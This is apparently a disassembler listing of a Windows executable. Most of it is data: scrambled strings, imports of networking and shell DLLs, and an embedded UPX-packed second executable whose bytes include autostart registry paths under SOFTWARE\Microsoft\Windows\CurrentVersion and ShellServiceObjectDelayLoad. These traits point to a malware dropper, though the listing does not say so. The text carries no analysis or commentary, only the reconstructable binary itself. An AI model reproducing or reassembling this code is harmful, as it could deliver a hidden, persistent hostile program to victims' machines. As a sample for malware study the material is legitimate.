		dd 6C615674h, 78456575h, 41h, 5F00E800h, 616F7469h, 5F001800h
		dd 7465475Fh, 6E69614Dh, 73677241h, 5F018100h, 65656C73h
		dd 70h,	65020A00h, 746978h, 6D025400h, 70636D65h, 79h
		dd 6D025600h, 65736D65h, 74h, 72026000h, 65736961h, 72026100h
		dd 646E61h, 73026A00h, 616E6769h, 6Ch, 73026D00h, 6E697270h
		dd 6674h, 73026F00h, 646E6172h,	73027100h, 61637274h, 74h
		dd 73027200h, 68637274h, 72h, 73028000h, 74737274h, 72h
		dd 6F737700h, 32336B63h, 6C6C642Eh, 0Fh	dup(40500000h)
		dd 4E495700h, 54454E49h, 4C4C442Eh, 40501400h, 45485300h
		dd 32334C4Ch, 4C4C442Eh, 40502800h, 52454B00h, 334C454Eh
		dd 4C442E32h, 4Ch, 15h dup(40503C00h), 45535500h, 2E323352h
		dd 4C4C44h, 9 dup(40505000h), 56444100h, 33495041h, 4C442E32h
		dd 4Ch,	0Bh dup(40506400h), 54524300h, 2E4C4C44h, 4C4C44h
		dd 0Eh dup(40507800h), 25h dup(0)
		dd 2000h, 0
		dd 2000h, 100000h, 2A0000h, 300000h, 480000h
		db 2 dup(0)
word_4421BE	dw 817Ch		; DATA XREF: sub_40399B+19o
		db 0
byte_4421C1	db 0			; DATA XREF: sub_403A5F+17o
aI?		db '`i/=?<',0           ; DATA XREF: sub_403A5F+44o
aGas6l		db 'G€S6l',0            ; DATA XREF: sub_403A5F+88o
dword_4421CF	dd 203868h	aMt@6		db 'mt@~6',0            ; DATA XREF: sub_403A5F+DDo
aWGz		db 'w-gz',0             ; DATA XREF: sub_403A5F+FCo
aBdvq		db '!dvq#',0           ; DATA XREF: sub_403BE7+17o
word_4421E5	dw 80h			; DATA XREF: sub_403BE7+125r
aDdbl		db 'Ddl',0             ; DATA XREF: sub_403BE7+14Co
dword_4421EC	dd 817430h	a1dy		db ' /1dY',0            ; DATA XREF: sub_403BE7+239o
dword_4421F6	dd 39324Ah			align 4
		dd 7, 0Ah
dword_442204	dd 80h							; sub_404020:loc_404007r ...
word_442208	dw 58h			; DATA XREF: sub_40406B+15r
aRMqq		db '`R#MqQ',0           ; DATA XREF: sub_4040AA+56o
byte_442211	db 7Fh,	2Fh, 69h	; DATA XREF: sub_4040AA+8Co
		dd 733B26h
byte_442218	db 3Dh,	36h, 0		; DATA XREF: sub_4040AA+160o
a99a		db '-; 99a',0           ; DATA XREF: sub_4040AA+1A0o
dword_442222	dd 505866h			align 4
		dd 6, 0Eh
dword_442230	dd 0							; .text:loc_404372r ...
dword_442234	dd 0							; sub_4043CA+49r ...
dword_442238	dd 817Ch, 4, 0Ahdword_442244	dd 0							; sub_404491:loc_4044BFr ...
byte_442248	db 0			; DATA XREF: sub_404529+2Bo
byte_442249	db 0			; DATA XREF: sub_40470D+9o
aKCivm		db 'K Ci‚M ',0          ; DATA XREF: sub_40481B+31o
aByqv		db 'BYQV',0             ; DATA XREF: sub_40481B+F1o
a4lk		db '&*4LK',0            ; DATA XREF: sub_40481B+158o
dword_44225D	dd 726254h	dword_442261	dd 2B542Ch	byte_442265	db 52h,	72h, 53h	; DATA XREF: sub_404B85-3Co
		dd 517F60h
aRmU		db ': &rm`U',0          ; DATA XREF: sub_404B85+7Do
		dd 6
dword_442278	dd 0Ch							; sub_40506F+79r
dword_44227C	dd 0							; sub_404E2A:loc_404E60r ...
dword_442280	dd 354B5Eh	aO68_0		db 'o6,%8',0            ; DATA XREF: sub_404EC6+138o
word_44228A	dw 7F70h		; DATA XREF: sub_40506F+Co
		db 0
aGK		db '`G k',0             ; DATA XREF: sub_40506F+24o
asc_442292	db '> `h',0             ; DATA XREF: sub_40506F+B7o
		align 4
		dw 7
		unicode	0, <>,0
dword_44229C	dd 11h							; sub_4054C8+149r ...
dword_4422A0	dd 0							; sub_405138:loc_40515Fr ...
dword_4422A4	dd 0		aDpVB		db '>Dp+‚',27h,'B',0    ; DATA XREF: sub_40523D:loc_405263o
aB_mxkw		db 'B_mxkw&',0          ; DATA XREF: sub_40523D+11Eo
word_4422B8	dw 4Dh			; DATA XREF: sub_4054C8+5Br
aQcfdx		db 'QcfdX',27h,0        ; DATA XREF: sub_4054C8+FBo
aNy		db 'NY',0               ; DATA XREF: sub_4054C8+10Eo
dword_4422C4	dd 7F3A3Fh	byte_4422C8	db 67h,	4Eh, 0		; DATA XREF: sub_4054C8+1B0o
dword_4422CB	dd 615920h	a70cg		db '70cg',0             ; DATA XREF: sub_4054C8+277o
byte_4422D4	db 0			; DATA XREF: sub_4054C8+3B7o
word_4422D5	dw 45h			; DATA XREF: sub_4054C8+3DAr
byte_4422D7	db 49h			; DATA XREF: sub_4054C8+54Ao
		dd 60547F6Fh
		db 74h,	0
a9jm6N		db 27h,'9jM6 N',0       ; DATA XREF: sub_4054C8+588o
aG		db 'ƒ>',0               ; DATA XREF: sub_4054C8+71Bo
a0A		db '0 ,a',0             ; DATA XREF: sub_4054C8+7FFo
word_4422EE	dw 79h			; DATA XREF: sub_4054C8+83Br
byte_4422F0	db 20h,	31h, 0		; DATA XREF: sub_4054C8+8CDo
byte_4422F3	db 62h			; DATA XREF: sub_405E88+1Ao
		db 38h,	0
aZ0y		db ',`z:0Y',0           ; DATA XREF: sub_405E88+2Do
aNw		db 'Nw   ',0            ; DATA XREF: sub_405E88+A7o
aAy		db ' ay+',0             ; DATA XREF: sub_405E88+154o
word_442308	dw 68h			; DATA XREF: sub_405E88:loc_4060A2r
dword_44230A	dd 784973h	aQa@		db '*Q€@ ',0            ; DATA XREF: sub_405E88+2F9o
aIJ		db '%i J',0             ; DATA XREF: sub_4061F7+12o
dword_442319	dd 646942h	aS?xv		db 'S?XV',0             ; DATA XREF: sub_4061F7+39o
aDFY		db 'D/f',27h,'Y',0      ; DATA XREF: sub_4061F7+121o
a6l		db '6l',0               ; DATA XREF: sub_4061F7+141o
byte_44232B	db 7Fh			; DATA XREF: sub_4061F7+16Co
aNr		db ' *nR',0
dword_442331	dd 372A7Ch	byte_442335	db 3Eh,	82h, 0		; DATA XREF: sub_4061F7+207o
aEnoX		db 'Eno$#X',0           ; DATA XREF: sub_4061F7+23Do
a231w		db '231w-',0            ; DATA XREF: sub_4061F7+278o
aR2Oe@		db 'r2#Oe%@',0          ; DATA XREF: sub_4061F7+296o
dword_44234D	dd 714B37h	dword_442351	dd 533320h	aCurh		db '`CuRH',0            ; DATA XREF: sub_4061F7+447o
aC		db 'c ',0               ; DATA XREF: sub_4061F7+49Bo
		align 10h
		dd 4
dword_442364	dd 0Dh		dword_442368	dd 0							; sub_406815:loc_40684Br ...
dword_44236C	dd 0							; sub_406A40+34r ...
dword_442370	dd 0							; sub_406911+17r ...
dword_442374	dd 0FFFFh						; sub_406A40+137r ...
aWrIo		db ' -wR`iO',0          ; DATA XREF: sub_406911+25o
dword_442380	dd 496E20h	aCsbS		db 'cSB>s',0            ; DATA XREF: sub_40696D+6Ao
dword_44238A	dd 657451h	word_44238E	dw 4124h		; DATA XREF: sub_406A40+85o
		dd 4C494F7Fh
		db 6Ch,	0
word_442396	dw 5F30h		; DATA XREF: sub_406A40+DBo
		dd 507F66h
dword_44239C	dd 4A2F7F41h, 4Fhdword_4423A4	dd 8							; sub_406D2E+F14r ...
dword_4423A8	dd 12h		dword_4423AC	dd 0							; sub_406CA2:loc_406CCFr ...
dword_4423B0	dd 1							; sub_407F07+23o
byte_4423B4	db 0			; DATA XREF: sub_406D2E+FD9r
		align 2
aObw8		db 'oW8',0             ; DATA XREF: sub_406D2E+19Bo
dword_4423BB	dd 6D3520h	aQungz		db 'QUnƒZ',0            ; DATA XREF: sub_406D2E+1FDo
aKxafL		db 'KxAf+/L',0          ; DATA XREF: sub_406D2E+282o
dword_4423CD	dd 24614Dh	dword_4423D1	dd 2C5E40h	a4yk3		db '4Yk3',0             ; DATA XREF: sub_406D2E+3D2o
aB		db '~',0               ; DATA XREF: sub_406D2E+492o
aZrsh		db 'ZRSH',0             ; DATA XREF: sub_406D2E+4ADo
aTxnve		db 'TxN‚e',0            ; DATA XREF: sub_406D2E+51Fo
word_4423E8	dw 72h			; DATA XREF: sub_406D2E+535r
aK80vdo		db 'k80‚Do',0           ; DATA XREF: sub_406D2E+548o
a8vs		db '8VS^&',0            ; DATA XREF: sub_406D2E+5CCo
dword_4423F7	dd 277C80h	word_4423FB	dw 38h			; DATA XREF: sub_406D2E+A31r
aLbn?b		db 'lbn?',0            ; DATA XREF: sub_406D2E+A44o
byte_442403	db 0			; DATA XREF: sub_406D2E+AA4o
asc_442404	db 'h<',0               ; DATA XREF: sub_406D2E+B8Fo
byte_442407	db 0			; DATA XREF: sub_406D2E+C1Fo
dword_442408	dd 2D2079h	byte_44240C	db 0			; DATA XREF: sub_406D2E+CF6o
a1o8qz		db '1o8QZ',0            ; DATA XREF: sub_406D2E+D1Ao
aKbX0		db 'k*x0',0            ; DATA XREF: sub_406D2E+DBBo
word_442419	dw 20h			; DATA XREF: sub_406D2E+E00r
aJvjm		db 'JvjM ',0            ; DATA XREF: sub_406D2E+E5Bo
dword_442421	dd 3B4B20h	aG5ah		db 27h,'G5aH',0         ; DATA XREF: sub_406D2E+1001o
byte_44242B	db 0			; DATA XREF: sub_406D2E+10B4o
dword_44242C	dd 0FFFFFFFFh, 407ED9h,	407EE4hdword_442438	dd 0				dd 8
dword_442440	dd 12h		dword_442444	dd 0							; sub_407FBC:loc_407FE9r ...
aQKy		db '~Q ky',0            ; DATA XREF: sub_408048+21Ao
aMzr		db 'MZ',0              ; DATA XREF: sub_40844F+84o
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0C80000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 13h	dup(0)
		dd 45500000h, 14C0000h,	88F20003h, 41CAh, 0
		dd 0E00000h, 10B010Fh, 40000006h, 10000000h, 50000000h
		dd 98200000h, 60000000h, 0A0000000h, 0
		dd 10000040h, 2000000h,	40000h,	0
		dd 40000h, 0
		dd 0B0000000h, 10000000h, 0
		dd 20000h, 0
		dd 10000010h, 0
		dd 10000010h, 0
		dd 100000h, 2 dup(0)
		dd 0A0000000h, 0D80000h, 1Ch dup(0)
		dd 50550000h, 3058h, 50000000h,	10000000h, 0
		dd 4000000h, 3 dup(0)
		dd 800000h, 5055E000h, 3158h, 40000000h, 60000000h, 3A000000h
		dd 4000000h, 3 dup(0)
		dd 400000h, 5055E000h, 3258h, 10000000h, 0A0000000h, 2000000h
		dd 3E000000h, 3	dup(0)
		dd 400000h, 0C000h, 42h	dup(0)
		db  0Ah
		align 2
aInfoThisFileIs	db '$Info: This file is packed with the UPX executable packer http://'
		db 'upx.tsx.org $',0Ah,0
aIdUpx1_07Copyr	db '$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Re'
		db 'served. $',0Ah,0
		dw 5055h
		dd 90C2158h, 0A530902h,	0A837A262h, 72695F94h, 381F0000h
		dd 70000000h, 4260000h,	7EE93800h, 4D009208h, 300905Ah
		dd 3200043Bh, 0FFFFB2C8h, 0F97F40B8h, 4C8377Fh,	0EBA1F0Eh
		dd 0CD09B400h, 4C01B821h, 73696854h, 0FDBF7020h, 6F72FFFFh
		dd 6D617267h, 6E616320h, 20746F6Eh, 72206562h, 69206E75h
		dd 534F4402h, 50ED6D20h, 646FFF60h, 0D0D2E65h, 50C7240Ah
		dd 0DBED1345h, 14CFF21h, 888A0002h, 9DE041CAh, 6010B21h
		dd 7EE90F08h, 0E022B3h,	10E018A4h, 0F9257325h, 20B6366h
		dd 604501Eh, 0C96E676h,	710341Eh, 0F65E5920h, 29E0A006h
		dd 0B2017578h, 17C6FDDh, 4D3864D8h, 37903F76h, 7865742Eh
		dd 20A22B74h, 96CB6FFBh, 41A00EBh, 65722EE0h, 0CC636F6Ch
		dd 677BECA6h, 2623FB9Eh, 107942A2h, 3703D95h, 2CDB3034h
		dd 1226669Bh, 46E22FFAh, 9A691B30h, 0B423BAEh, 5E14032Ch
		dd 0CD34D36Eh, 562C4AB2h, 4D867062h, 9C4D34D3h,	0E2D4C2AEh
		dd 59AE9AF2h, 182D0836h, 463C0728h, 69A69A69h, 786C6254h
		dd 9A69B28Eh, 0C6B49EA6h, 4D2F02E2h, 0F4CDB9D3h, 3972E0Ah
		dd 344C3C24h, 5C34D34Dh, 9A8A7C6Ah, 0D34D34DBh,	0E6CEC0AAh
		dd 59BF2EF2h, 243BA776h, 0F4031087h, 69A6E42Bh,	0CAD4A69Ah
		dd 0BAACB6C0h, 0A29A6D60h, 0D72B9098h, 7B66B27Fh, 9603E9B6h
		dd 78132F8Ah, 0FF880330h, 66D217FFh, 4F538130h,	41575446h
		dd 4D5C4552h, 6F726369h, 0E5666F73h, 74FFFFFFh,	6E69575Ch
		dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h
		dd 0FB7F6853h, 536CDB6Fh, 6528760Ch, 656A624Fh,	10447463h
		dd 6F4C7961h, 0AD6E6461h, 39477015h, 6739082Bh,	0A5FF3F4Dh
		dd 0DB6C2006h, 72617041h, 6E656D74h, 0FA6E495Ch, 53035EDFh
		dd 33023B63h, 4C430032h, 5C444953h, 0E77ED923h,	257B00BBh
		dd 2D583830h, 0FA5D3404h, 7D0361DBh, 0FCEC8323h, 0F0E89090h
		dd 0DEF75706h, 60BAFBBh, 78453759h, 7C737469h, 6046DE82h
		dd 62694CFBh, 3B797172h, 656E686Bh, 0BF6ED76Ch,	5FB5DF67h
		dd 57791B54h, 7DF60FD5h, 0B565DBFBh, 50677562h,	6CC76972h
		dd 23656765h, 7850305Ch, 642E1ED7h, 50580F2Bh, 6F114F4Ch
		dd 33D5B737h, 21727270h, 2B6261C5h, 6F667364h, 62360DECh
		dd 732E126Fh, 35CBB79h,	0B835A0DDh, 5C214964h, 64723A5Dh
		dd 8FB10B7Fh, 5F74511Ah, 5CEC1F33h, 65704F5Fh, 0FE57B218h
		dd 4478566Eh, 706E6148h, 0B5AC006Eh, 2D4D37FFh,	4B59542Dh
		dd 46475157h, 0E0A4A48h, 0F9ED6113h, 4245411Fh,	48534159h
		dd 5B25464Ch, 7B096702h, 32020EFh, 30231205h, 0B0EF7BEEh
		dd 0B3A0F32h, 1E331504h, 7FFC8360h, 4A455767h, 4A464B57h
		dd 0AB414557h, 0FE9A13BBh, 5349444Eh, 1A034452h, 0A200FF97h
		dd 0CBCB901Fh, 1FA60B6Eh, 91218D0Fh, 0A4BCB921h, 31232319h
		dd 6D253525h, 0D97FD3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 57740150h
		push	24h
		dec	ch
		imul	ch
		adc	eax, 8D1E112Ch
		inc	ebp
		lock push eax
		or	[eax], ebp
		movzx	eax, word ptr [ebp-6]
		push	eax
		mov	esi, ds:74F3CF20h
		iret
; ---------------------------------------------------------------------------
		db 0Ah,	0FCh, 50h
		dd 0F6F8FE04h, 0FB9B66F4h, 858D50F7h, 0F0755B78h, 3826C068h
		dd 36CD10D6h, 0B017ECBBh, 14B468FEh, 0B76A0C4Fh, 4FB7F1Dh
		dd 0F9F75999h, 0C283DC5Fh, 2A505205h, 345DD60Ch, 73BDCC10h
		dd 38C4832Fh, 68502715h, 3B8129B0h, 5B7776DBh, 80A0BF8Fh
		dd 12285750h, 5214220Fh, 647736Eh, 373015A4h, 7D330876h
		dd 1766E6B0h, 6A2C310Bh, 0D8986809h, 0C9ECE761h, 28458830h
		dd 66FDDB9Fh, 7909372Fh, 68234068h, 77866E02h, 606C986Eh
		dd 0C95E5F12h, 0AEF22C3h, 18E11BEFh, 0A91D8B53h, 0FF336726h
		dd 0EFFC7D89h, 0FFFCFF0Ah, 10C083D3h, 312C8950h, 0F08BDC1Ch
		dd 0FF73B59h, 0EFDB2384h, 6A4937BAh, 3AE4680Ah,	21D1756h
		dd 468D056Ah, 0DFB7F00Fh, 0F817B16h, 0D3B41859h, 0F467640h
		dd 730FED6Ch, 570C1509h, 24122068h, 3FFB1475h, 0C73BDED9h
		dd 18090E75h, 0EB026A04h, 0F84D8D23h, 1337F351h, 111CB3DBh
		dd 5E2A2BF8h, 0C2105021h, 823B6EEDh, 5803FA08h,	840A13E9h
		dd 0DD77FB62h, 300068F7h, 4C2E5783h, 3BD88B1Fh,	687D74DFh
		dd 3AD95C14h, 10481BB7h, 0B70A0468h, 60440EF4h,	6ABFBB6Fh
		dd 58F88BF6h, 2B58F868h, 3F45AC3h, 0C28D16F8h, 89F1F4BFh
		dd 0CB2BC87Eh, 4689C103h, 7E22210Bh, 0E10DB86Eh, 23B05356h
		dd 33E81040h, 0EC6FEEF6h, 0F43C2DFh, 56535056h,	8C3C1656h
		dd 770974C6h, 9B8D17EEh, 0C710EB38h, 7EB0431h, 0ECDF3508h
		dd 1A250699h, 7D8B0711h, 6A1611Bh, 51615B60h, 0F605746h
		dd 66DF8E31h, 61FC96BBh, 0AF0F5424h, 0EB4A31Ch,	75FFFFDEh
		dd 0B907A121h, 35247621h, 7BFBC069h, 0C82B7F7Ch, 0C2126851h
		dd 2BD998EDh, 0D0F71D58h, 2D2474BFh, 0C7DCF6FBh, 155CC701h
		dd 500CA756h, 6BCC033h,	0CA1DD33h, 0A1609A6Bh, 1A3B6C5Dh
		dd 0D956D913h, 641A206Ah, 9D8DB438h, 0A2F0DE08h, 0B73816ECh
		dd 3019D866h, 0F8C3522Eh, 0DA1B6B02h, 0E10C7DBh, 106A1301h
		dd 0E9B3D537h, 14FCAD99h, 284BC610h, 0CD73A702h, 0FDD8780Dh
		dd 7C514104h, 7A799D23h, 13E01511h, 59B5E078h, 44CF1F92h
		dd 0DB541112h, 0ED372E9h, 83F08B74h, 3902F74h, 5B64D9E8h
		dd 0A0567832h, 9D351270h, 6C572119h, 1F5E681Bh,	8986EF8Dh
		dd 0DB33537Dh, 64405357h, 6FBDEE90h, 5B83E70Bh,	0BE566C74h
		dd 0BF6AA218h, 538C6667h, 890F087Fh, 575015B5h,	3FD2D3ECh
		dd 74C0858Ah, 67849F36h, 0E19939D6h, 74766CE6h,	84202613h
		dd 71E3EB15h, 5B359BE1h, 895BFC14h, 0FC6157D9h,	5E3FB067h
		dd 5B5FC38Bh, 5D8B048Dh, 53575608h, 0FDBEB7FEh,	3D66590Eh
		dd 3F76C88Bh, 3C80D144h, 0D745C1Ah, 0FF6DC181h,	151FAF6Fh
		dd 0EBEC77C9h, 3B664101h, 1B2373C8h, 0BE17FFC9h, 6DF002B4h
		dd 1778F12Bh, 8148DC5h,	1A148A47h, 61059488h, 6D7B6376h
		dd 7E6DC718h, 0C62F7AEBh, 90A618B7h, 245C644Ch,	0AF9D560Ch
		dd 57FFDDB7h, 10247C8Bh, 197EDB85h, 2EAB0A6Eh, 7D1A6AC0h
		dd 0FFFEE678h, 8861C280h, 3B463E14h, 80E77CF3h,	32001F24h
		dd 2C02109Fh, 8FFFF8ECh, 84D8B0Ch, 0D895648h, 777550BCh
		dd 237BF0C6h, 0A151930Bh, 536FF898h, 0B0B64F84h, 0FC1BDA0Bh
		dd 2404C711h, 7B01C75Ch, 59D676F6h, 2E7559D7h, 13546815h
		dd 0B37ECBF0h, 93B4E1Ah, 4080B27h, 0E1610CEBh, 68F1BDAFh
		dd 0A929193Ch, 505959E0h, 95F7C358h, 0CC27027h,	1703189Bh
		dd 0B3637289h, 6801FB3Dh, 0D1261294h, 3DA88F59h, 85BD95B7h
		dd 1FE934Fh, 0BF5D940Eh, 64C9C9ADh, 7B575D9Ch, 7C9DF8F0h
		dd 30BB6D93h, 9F6880A5h, 0B44EB1E1h, 0C0A359CDh, 0ACA43F00h
		dd 315F5F7Bh, 12353C7Ch, 960C7024h, 4505B36Eh, 0E564BFA0h
		dd 5A786657h, 6DB755A0h, 9B9C2613h, 5FDB93Dh, 0E8E6EBEBh
		dd 34680CFCh, 6CC7580Ah, 7B167716h, 2733756Ah, 5F17E15Dh
		dd 0E804F7E3h, 0E69FD8CDh, 0A2F18B76h, 0C79CFC18h, 41135006h
		dd 0E3998C65h, 196A1A1Dh, 0B60514C0h, 26108D66h, 1F20B710h
		dd 57816E74h, 257126Dh,	6F09B0C3h, 0D7611EB5h, 0B7518C8h
		dd 2DC05935h, 147E89FFh, 57571CEBh, 0AC470957h,	3EB799BEh
		dd 99741446h, 16012046h, 5FC68B1Ch, 0C6D77F68h,	6283568Dh
		dd 44F6420Fh, 20010824h, 11DB66D8h, 1D5920D6h, 3DA21B5Eh
		dd 0FB59BB6Fh, 9D5C8BEAh, 74037468h, 0DB768BD7h, 14ED95A3h
		dd 5609F685h, 752A6146h, 0B7F6FB7Fh, 0F03BDF1Ch, 718D0375h
		dd 8318515Bh, 392527FAh, 6752045h, 0FDB035B2h, 5104C183h
		dd 20D003EBh, 14021847h, 0D674B3F5h, 4552AF10h,	1CC25DB4h
		dd 0D8055EB6h, 7AC4B870h, 0E510E41Ah, 4FF42BEh,	20C46818h
		dd 896A9A7Ah, 0CED8C847h, 86A00E4h, 0D8C8CC18h,	0C4202BD8h
		dd 4C351016h, 0D03211D9h, 0B08D18D4h, 0B2C1A05h, 0D81B6914h
		dd 8E7C1D19h, 0A04514h,	565E5308h, 12CC170Ah, 4D61605Eh
		dd 660BB8FCh, 940AC604h, 83ABC040h, 0DDEDC0B3h,	21170BDh
		dd 0EA8B0575h, 12CB3CEBh, 0C187CD06h, 6810AFBCh, 1A8A53A4h
		dd 36276FCh, 3931EB76h,	0BA5D0C7Dh, 191E05D2h, 2EB17D0h
		dd 5BB81EE0h, 30F6DD6Bh, 8D00575Fh, 0DC91AE71h,	344AC57Eh
		dd 0E942189h, 6DAE08C2h, 0BF98F138h, 78570880h,	12DB098Eh
		dd 85E8BEFh, 2F0C331h, 74C3FDF4h, 7449205Ch, 0C7C82C14h
		dd 0A2659BA1h, 7AC4660Dh, 5C68DD4Ah, 4D6D46E2h,	510CEFE8h
		dd 63FFBA4Fh, 0FC26F135h, 0C01BD8F7h, 5FC2456h,	9B5071E4h
		dd 6FC5D483h, 0E59518A8h, 0B36AC503h, 0FFB191B7h, 753BC445h
		dd 93C0940Fh, 1F068FB6h, 4A3EF9D9h, 0B18BCC26h,	4D17DE35h
		dd 6895910h, 0CFA69106h, 0B986F977h, 8A040883h,	1010E04h
		dd 5D270C46h, 106D78FBh, 7AD518E7h, 534244C7h, 76398D9Dh
		dd 0F66AD943h, 57465945h, 0B2436206h, 3D06CB3Eh, 2B6DF6AAh
		dd 0B54CB46Ch, 89630CC9h, 4B565F01h, 5DDC6214h,	418B4C5Bh
		dd 0B455A420h, 314CDED6h, 3F6856E1h, 5D00A4CFh,	88661647h
		dd 5741415h, 336CEB67h,	0A6278CDCh, 1DA9AAh, 9C1B6332h
		dd 0F5E6803h, 2F6DB804h, 66602061h, 573B60Fh, 0BB648AFBh
		dd 9897785Eh, 1261C10Bh, 52135868h, 0FBC228D0h,	0A1642E21h
		dd 25896408h, 0C7CEA307h, 0D22CDDC6h, 0A5E86589h, 27240C29h
		dd 7BD757F4h, 30BBBB0h,	0F86850C3h, 0B76CC0Ah, 4014E4B4h
		dd 0E12E0F40h, 0B916D170h, 0AF3861E0h, 0A9522B34h, 6BFBF192h
		dd 9B6990B3h, 94DC1AFAh, 85930D9Bh, 4390A153h, 5B4F9493h
		dd 16F8B6EBh, 42392FE4h, 45F7DB08h, 0DA2DC0BFh,	7C5B3BC8h
		dd 201E7C80h, 44C60573h, 6FE25A6Dh, 0EB402E06h,	1F76FFE9h
		dd 0E0757546h, 86E1BC3h, 0E00381AEh, 0B9616480h, 3105BAB1h
		dd 4D450CCh, 0A6DDA60Ch, 1D5FA246h, 50DA1E08h, 0CF3CD804h
		dd 0D4D63CF3h, 9ED2CECCh, 46D979E7h, 746B60Ah, 6A040506h
		dd 18F9EF9Eh, 2040308h,	53B60601h, 6A716023h, 58859215h
		dd 0E8130340h, 98C95790h, 0BF723EC4h, 0C49A8598h, 50AE2350h
		dd 6B6F683Fh, 21D00ADCh, 59504208h, 623E3786h, 0C483D911h
		dd 0D20EEBFFh, 0C2BE1696h, 0C758BC3h, 0F185598Bh, 37D3D907h
		dd 0CF1CBEFAh, 0E07D83h, 160EE070h, 96841A46h, 0B4F072CCh
		dd 8A70F20Dh, 0D8FBCE71h, 0C9F0F468h, 0C8833811h, 0CDF6ABFFh
		dd 9FA17C2Ch, 3B0C55C0h, 0D7992D6h, 0B42E9EA5h,	1DE677FCh
		dd 7AF286E4h, 0BB4BFFFFh, 0CE8B135Eh, 0CA3BDCA6h, 48A2973h
		dd 0C0458839h, 972303Ch
		dd 1D73393Ch, 7D778F4Dh, 0D6AC0F8h, 74B84B0Ah, 8BE4797Fh
		dd 6EBD8F1h, 0FD0EB41h,	28850F39h, 0BD1FEDBCh, 3BF64A8Dh
		dd 5C1548F1h, 0DFFFFD73h, 8D0088D1h, 0C13B144Eh, 0C23B2A7Dh
		dd 0C8A2673h, 0BC4D8838h, 9A2DF980h, 0A53B6B1h,	0C9595404h
		dd 37DBDB77h, 253075DBh, 65830409h, 391000D4h, 0AFA0D44Dh
		dd 76DED966h, 3B568DBFh, 8A1F75C2h, 0D8E8B838h,	80C9A78h
		dd 43A41905h, 0D8CC36C1h, 0D4ADF8D6h, 5181802Eh, 3C62D0F6h
		dd 8D0B0211h, 77770CD0h, 8D020FD8h, 1B503E04h, 3E440E02h
		dd 639E0F02h, 46D0498Ch, 5C1180D3h, 8D00AD8h, 83C40B12h
		dd 37B704C8h, 5C24AEEh,	0C40A7F32h, 4057C01h, 895D7E0Ch
		dd 0A1A06237h, 6E31043Eh, 5AD40506h, 7530E6ECh,	74310607h
		dd 30032C18h, 97AD1B0Bh, 6846D709h, 6D4A10D8h, 921418BBh
		dd 0EA76E00Ah, 30A10B84h, 0C3C3C588h, 0E4239098h, 9CDB5878h
		dd 0C5691967h, 5DB3D35Dh, 3C80FDB0h, 662E9EBFh,	2F4F048Bh
		dd 7E10F2A0h, 0D7C35B9h, 0E33A097Fh, 0C33BC475h, 5321C972h
		dd 61505BCBh, 2E5335BBh, 470C572Ah, 7EC59C62h, 7CB2BF08h
		dd 75EB590Eh, 75CB3BC9h, 2CB0D332h, 5D5D974Ch, 0B34DEFC6h
		dd 753DBF74h, 98479124h, 0B1640C10h, 9DCB3043h,	0C26F3394h
		dd 0CBBBC3E9h, 0BE4C5306h, 1966900Bh, 4CACC84h,	5FF2C477h
		dd 770465C2h, 0C483DA04h, 6A535330h, 0DF074C0Ah, 0FF0CACD6h
		dd 20AB5325h, 0CE46497Ah, 27CCB815h, 0D91BD9AFh, 1EA8E4AAh
		dd 9037D90Ch, 0A48D91h,	0F3A3A8A8h, 66F1A36Fh, 857C83h
		dd 300A0710h, 304B0875h, 310CEC3Ch, 9E0F75BEh, 11C847FFh
		dd 885216C8h, 394AE60h,	6EB7FA26h, 5CFD4B46h, 6212ECEBh
		dd 57C33DC8h, 0C58B7D68h, 6177E80h, 0CE6D423Ah,	196D866Dh
		dd 0F51A1CA5h, 29C11E05h, 936CD263h, 24D00C22h,	0D6FABE8h
		dd 2B365EFEh, 9B3003F3h, 56EED1B8h, 6DAFC116h, 0C60E16F0h
		dd 140A0DFFh, 0B472B54Ah, 6F202A2Ah, 50B33709h,	903722A8h
		dd 11740BF0h, 28D1BF6Eh, 2B990F39h, 0EF8D1C2h, 56B1027Eh
		dd 0F923EB63h, 0AB2C0D33h, 0D1CB7615h, 0F9D10F6Fh, 5F70818Dh
		dd 66057E27h, 0E9A17FB7h, 0AC16EBACh, 3B0279FEh, 4173B87Dh
		dd 2D2BB8F8h, 0EC1342F6h, 1F04AD90h, 2D726750h,	3DBC4B6h
		dd 0D19015F7h, 55C7D8E8h, 0F336DB19h, 165543A3h, 6F470B0Eh
		dd 1EDF647Dh, 3BF07FFFh, 8D067CF7h, 0BAEB017Eh,	0A4C7814Fh
		dd 0FE3BA6E2h, 0FC1E0473h, 0F78BD5B6h, 0FC5F4EACh, 0AC752B00h
		dd 90A17622h, 24A30Ch, 0A6040789h, 0A4FB5CD9h, 0F5044789h
		dd 0C80807F9h, 528512B4h, 98A7A9CBh, 1A3721C0h,	1047322Bh
		dd 0BA10B110h, 0C7448E95h, 0D527A1A5h, 4582AA32h, 186E401Dh
		dd 3C609436h, 48689757h, 76192BB5h, 15B8A05Bh, 9E9C980Eh
		dd 0E9518E0Ch, 0C73E9193h, 0E05DCE35h, 1E142A2Eh, 46110B74h
		dd 5BF86A6Eh, 9A04850Bh, 0B88C8B5Ah, 0CA532084h, 5B1F77B9h
		dd 0DC24D771h, 1AE85589h, 4BD3C8Dh, 69AD7E17h, 72B43C9h
		dd 0A4028DA0h, 0D49F1B10h, 0F5608501h, 0FEBB0300h, 0E0358605h
		dd 0F9B86857h, 85731345h, 0B80ECC30h, 893E4816h, 0EC18DB59h
		dd 62853913h, 0A441AFA2h, 0ACEA01A3h, 72696BE0h, 0FF646F7Fh
		dd 4E5D0734h, 12C540BBh, 0CD9B82A0h, 97314A95h,	50271068h
		dd 39CE84ECh, 0CDE98C4h, 0EE721183h, 7A3D8BA5h,	0A0B912FEh
		dd 52C5A8DBh, 0AC017CC0h, 0DBFB7B1Bh, 18397517h, 0B37EBE5h
		dd 0D01C8DE0h, 0F65C6C51h, 110319B0h, 0F2001BEh, 0B1DBFD7Bh
		dd 1B06282Bh, 151ABD6Fh, 0B5FFCC38h, 99F9A3C4h,	0CCD04DCDh
		dd 8C0E1863h, 0B0DDDBBh, 84EB711Eh, 0D31B30CBh,	9D90D868h
